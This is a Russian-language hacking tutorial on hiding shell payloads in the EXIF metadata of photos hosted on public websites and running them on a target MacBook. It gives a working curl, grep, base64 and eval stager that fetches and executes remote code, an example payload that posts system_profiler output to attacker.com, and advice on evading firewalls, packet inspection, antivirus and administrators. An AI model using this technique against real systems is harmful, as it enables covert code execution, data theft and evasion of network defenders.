February 5, 2020

Скрываем Payload внутри метаданных фотографий

KRAKENteam

Сложные сценарии оболочки могут быть имплантированы в метаданные фотографий и позже использованы для эксплуатации MacBook. В дополнение к запутыванию истинной природы атаки, эта техника может быть использована для обхода сетевых брандмауэров, а также бдительных системных администраторов.

В этом сценарии атаки вредоносная команда будет встроена непосредственно в метаданные EXIF файла изображения. Злоумышленник разместит вредоносное изображение на общедоступном веб-сайте, таком как Flickr, что сделает его доступным для загрузки любым пользователем. Затем будет создан накопитель для загрузки изображения, извлечения метаданных и выполнения встроенной команды.

Чтобы было ясно, двойной щелчок по файлу изображения не приведет к выполнению встроенной команды. Это другой тип атаки на macOS, о котором мы говорили в другой статье. Вместо этого команда будет скрыта в метаданных изображения и использована в качестве системы доставки полезной нагрузки.

Stager и Payload - два разных аспекта атаки. Stager предназначен для загрузки изображения и выполнения встроенной полезной нагрузки, в то время как полезная нагрузка является последним битом кода (встроенным в изображение) предназначенным для выполнения одной или нескольких команд.


Зачем вставлять Payload данные в изображения?

Итак, зачем вообще делать ставку, если злоумышленник уже в состоянии выполнить код на целевом MacBook? Ну, в первую очередь, разной степени активного уклонения. Кроме того, возможности размещения могут быть довольно маленькими, всего ~ 100 символов, что ускоряет их выполнение, например, с помощью атаки USB Rubber Ducky или MouseJack.

В большинстве случаев скрытие полезных данных внутри файла изображения не требуется. Однако в средах с высокой степенью безопасности, где каждый домен регистрируется программным обеспечением брандмауэра, может быть полезно скрыть содержимое и источник полезной нагрузки.


Уклонение от брандмауэра

С помощью программного обеспечения, такого как pfSense, регистрируются все домены и IP-адреса, которые посещает каждое устройство в сети. С помощью коммерческого программного обеспечения, такого как брандмауэр FortiGate компании Fortinet, каждый пакет может быть тщательно проанализирован для анализа. Брандмауэры такого типа мешают злоумышленнику, использующему простые TCP-соединения, установленные с Netcat, сохранять на скомпрометированном устройстве или скрытно отображать сеть.

Использование изображений для сокрытия полезных нагрузок может затруднить отслеживание трафика системными администраторами для определения активности как вредоносной или подозрительной.


Уклонение от глубокой проверки пакетов

В защищенных средах операционные системы могут быть сконфигурированы для использования пользовательских сертификатов, которые позволяют сетевым администраторам дешифровать данные, поступающие и получаемые с устройств в сети. С помощью таких инструментов, как Wireshark, можно скомпилировать потоки TCP и воссоздать файлы изображений, используя необработанные захваченные данные.


Антивирус Уклонение

Премиум-версии антивирусного программного обеспечения Avast и AVG могут анализировать и обнаруживать определенные виды накопителей и полезных данных. Например, программное обеспечение AV может идентифицировать большинство рабочих столов, созданных Empire. В защищенных сетевых средах может потребоваться высокая степень запутывания, чтобы избежать обнаружения сигнатур. Использование антивирусных программ может затруднить AV-программам обнаружение истинной природы конкретного файла.


Инструменты для ознакомления

Прежде чем продолжить, вы должны иметь общее представление о таких инструментах, как curl, system_profiler, exiftool, grep и Bash. Все эти темы были описаны в Null Byte ранее в некоторый момент.


Скачать изображение

Для начала загрузите изображение, которое будет использовано при атаке. Stager (показанный на следующем шаге) на самом деле не будет сохранять изображение на компьютер цели, поэтому он не должен быть изображением чего-либо особенно значимого. В демонстрационных целях мы можем использовать изображение профиля в Twitter, которое можно загрузить с помощью wget и сохранить (-O) в каталог /tmp.

~$ wget 'https://pbs.twimg.com/profile_images/944123132478189568/tgQESxWF_400x400.jpg' -O image.jpg

--2019-05-15 06:50:22--  https://pbs.twimg.com/profile_images/944123132478189568/tgQESxWF_400x400.jpg
Resolving pbs.twimg.com (pbs.twimg.com)... 72.21.91.70, 2606:2800:220:1410:489:141e:20bb:12f6
Connecting to pbs.twimg.com (pbs.twimg.com)|72.21.91.70|:443... connected.
HTTP request sent, awaiting response... 200 OK
Length: 19316 (19K) [image/jpeg]
Saving to: ‘image.jpg’

image.jpg                100%[=================================>]  18.86K  64.4KB/s    in 0.3s

2019-05-02 06:50:25 (64.4 KB/s) - ‘image.jpg’ saved [19316/19316]


Создать полезную нагрузку

Для этого примера мы сначала научимся выполнять простую touch команду. Когда модуль stager выполняет полезную нагрузку, встроенную в изображение, он создает на рабочем столе macOS пустой файл с именем «hacked».

Сначала используйте printf, base64 и tr для кодирования полезной нагрузки. Base64 закодирует строку, а tr удалит (-d) переводы строки (\n). Вы всегда должны заключать полезные данные (touch ~/Desktop/hacked)) в одинарные кавычки.

~$ printf 'touch ~/Desktop/hacked' | base64 | tr -d '\n'

dG91Y2ggfi9EZXNrdG9wL2hhY2tlZA==

Более сложную полезную нагрузку, которая включает в себя команду macOS system_profiler, можно использовать для выполнения ситуационных атак, а также для скручивания, чтобы отфильтровать вывод команды на сервер злоумышленника.

~$ printf 'd=$(system_profiler SPFirewallDataType);curl -s --data "$d" -X POST http://attacker.com/index.php' | base64 | tr -d '\n'

ZD0kKHN5c3RlbV9wcm9maWxlciBTUEZpcmV3YWxsRGF0YVR5cGUpO2N1cmwgLXMgLS1kYXRhICIkZCIgLVggUE9TVCBodHRwOi8vYXR0YWNrZXIuY29tL2luZGV4LnBocA==

Сделав еще один шаг вперед, можно было бы закодировать весь скрипт Bash, который был сжат в одну строку. В моих тестах, казалось, не было ограничений на количество символов, которые могут быть встроены в тег метаданных.

~$ cat /path/to/any_script.sh | base64 | tr -d '\n'

ZnVuY3Rpb24gZXhlY19oYWNrKCkgeyAvdXNyL2Jpbi90b3VjaCB+L0Rlc2t0b3AvaGFja2VkOyB9O2V4ZWNfaGFjawo=


Вставить Payload в изображение

Чтобы встроить закодированную полезную нагрузку в образ, установите exiftool.

~$ apt-get update && apt-get install exiftool -V

Reading package lists... Done
Building dependency tree
Reading state information... Done
Note, selecting 'libimage-exiftool-perl' instead of 'exiftool'
The following NEW packages will be installed:
   libarchive-zip-perl (1.64-1)
   libimage-exiftool-perl (11.16-1)
   libmime-charset-perl (1.012.2-1)
   libposix-strptime-perl (0.13-1+b5)
   libsombok3 (2.4.0-2)
   libunicode-linebreak-perl (0.0.20190101-1)
0 upgraded, 6 newly installed, 0 to remove and 0 not upgraded.
Need to get 3,629 kB of archives.
After this operation, 21.0 MB of additional disk space will be used.
Do you want to continue? [Y/n]

Затем удалите все метаданные EXIF, которые могут быть на изображении.

~$ exiftool -all= image.jpg
  1 image files updated

Затем используйте exiftool для добавления тега метаданных - он будет работать с любым доступным тегом - содержащим закодированную полезную нагрузку. В этой демонстрации используется тег Certificate.

~$ exiftool -Certificate='dG91Y2ggfi9EZXNrdG9wL2hhY2tlZA==' image.jpg
  1 image files updated

Когда это будет сделано, убедитесь, что тег Certificate был правильно добавлен с помощью следующей команды exiftool. Обратите внимание на закодированную строку в строке 13.

~$ exiftool image.jpg

01  ExifTool Version Number         : 11.16
02  File Name                       : image.jpg
03  Directory                       : .
04  File Size                       : 21 kB
05  File Modification Date/Time     : 2019:05:02 06:50:57+00:00
06  File Access Date/Time           : 2019:05:02 06:50:57+00:00
07  File Inode Change Date/Time     : 2019:05:02 06:50:57+00:00
08  File Permissions                : rw-r--r--
09  File Type                       : JPEG
10  File Type Extension             : jpg
11  MIME Type                       : image/jpeg
12  XMP Toolkit                     : Image::ExifTool 11.16
13  Certificate                     : dG91Y2ggfi9EZXNrdG9wL2hhY2tlZA==
14  Image Width                     : 400
15  Image Height                    : 400
16  Encoding Process                : Progressive DCT, Huffman coding
17  Bits Per Sample                 : 8
18  Color Components                : 3
19  Y Cb Cr Sub Sampling            : YCbCr4:2:0 (2 2)
20  Image Size                      : 400x400
21  Megapixels                      : 0.160


Загрузить изображение на сайт

Найти подходящий сайт сложно. Критерии для этого несколько.

Избегайте очистки данных EXIF

Многие популярные веб-сайты, такие как Twitter, Imgur и Instagram, автоматически удаляют метаданные из изображений при загрузке, что делается главным образом для защиты пользователей от случайной загрузки фотографий, содержащих координаты GPS, которые позволят кибер-преследователям и кибербуллинам беспокоить и находить этих пользователей.

Изображения, содержащие полезные данные, будут удалены при загрузке на основные веб-сайты. Веб-сайт-кандидат должен был бы быть проверен вручную, сначала загрузив изображение, затем загрузив его, и используя exiftool, чтобы убедиться, что встроенная полезная нагрузка все еще не повреждена.


Шифрование сайта

Безопасность транспортного уровня имеет важное значение для дальнейшей маскировки этой атаки. Веб-сайт, на котором размещалось изображение, должен использовать HTTPS, что поможет предотвратить сисадмины в анализе запроса GET с хирургической точностью.


Нарушения веб-трафика

В идеале, веб-сайт, использованный в атаке, должен регулярно посещаться сайтом. Например, если цель посещала определенный новостной сайт каждое утро, посещение этого домена не показалось бы подозрительным для системных администраторов, отслеживающих трафик в сети. С другой стороны, необычный GET-запрос на иностранный сайт или сайт для взрослых, вероятно, вызовет некоторые красные флаги. Этот вид информации может быть перечислен на этапе разведки с помощью скрытых захватов пакетов. Главное, чтобы трафик выглядел как можно более привычным для поведения веб-сайта цели.


Генерация Stager

В моих быстрых попытках извлечь метаданные из изображений с помощью встроенных инструментов macOS, ни один из них, казалось, не был способен получить доступ или показать конкретную строку («Сертификат») метаданных EXIF, встроенных в изображение. К счастью, у grep есть опция -a, которая позволяет ему обрабатывать двоичные файлы (например, изображения), как если бы они были в незашифрованном виде, что позволяет ему находить строку «Сертификат» в метаданных.

Ниже приведен пример stager, который можно использовать для загрузки изображений, извлечения и декодирования полезных нагрузок, а затем для выполнения команды.

~$ p=$(curl -s https://website.com/image.jpg | grep Cert -a | sed 's/<[^>]*>//g' | base64 -D);eval $p

Здесь происходит несколько вещей, поэтому я разобью каждую секцию каскадера.

  • p=$(...) - большая часть stager заключена в переменную с именем "p" (иначе - полезная нагрузка), предназначенную, прежде всего, для предотвращения сохранения изображения непосредственно на жесткий диск MacOS цели.
  • curl -s https://website.com/image.jpg - здесь используется Curl для автоматической загрузки (-s) изображения, содержащего полезную нагрузку, с веб-сайта, выбранного злоумышленником. Изображение немедленно передается (|) в следующую команду grep.
  • grep Cert -a - Grep будет принимать необработанные данные изображения, обрабатывать их как открытый текст (-a) при поиске строки «Cert». Этот вывод появится в терминале, как показано ниже.
  • sed 's/<[^>]*>//g' - вышеприведенный вывод немедленно передается в эту команду sed. Sed удалит все окружающие данные XML (то есть <xmpRights> </ xmpRights>), оставив только закодированную строку.
  • base64 -D - закодированная строка передается в эту команду base64, где она декодируется с опцией -D, что в конечном итоге делает переменную $ p декодированной полезной нагрузкой.
  • eval $p - наконец, eval используется для оценки переменной как команды, эффективно выполняя полезную нагрузку в форме переменной.

Мы можем убедиться, что атака была успешно выполнена, найдя «взломанный» файл на рабочем столе macOS.

Опять же, это очень простая полезная нагрузка. Более сложные атаки могут включать автоматический сброс пароля браузера, прослушивание микрофона, перечисление ситуационной осведомленности, повышение привилегий, эксфильтрацию пароля sudo и так далее.